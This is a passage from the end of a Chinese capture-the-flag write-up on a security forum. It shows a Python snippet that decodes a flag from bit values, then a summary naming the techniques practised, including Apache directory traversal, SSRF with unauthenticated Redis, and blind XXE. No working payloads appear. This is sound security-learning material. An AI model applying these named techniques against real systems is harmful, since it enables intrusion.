avg_m0_n0, abs_tol=0.05): flag_bits.append(0) elif math.isclose(p, avg_m1_n1, abs_tol=0.05): flag_bits.append(1) else: raise ValueError("Unable to determine bit value") flag_bin_str = ''.join(map(str, flag_bits)) flag_int = int(flag_bin_str, 2) flag = flag_int.to_bytes((flag_int.bit_length() + 7) // 8, 'big') print(flag.decode()) ``` 0x06 总结 ------- 这次比赛有些平时接触不到的知识点,像是钓鱼邮件识别中的dns解析,sqlite文件解析,也有对一些知识的加固,例如apache目录穿越,ssrf+redis未授权,xxe无回显,等等。总的来说,学习到了很多,再接再厉!
发表于 2024-05-30 10:00:02
阅读 ( 23870 )
分类:
漏洞分析
1 推荐
收藏
0 条评论
请先
登录
后评论
mof
2 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!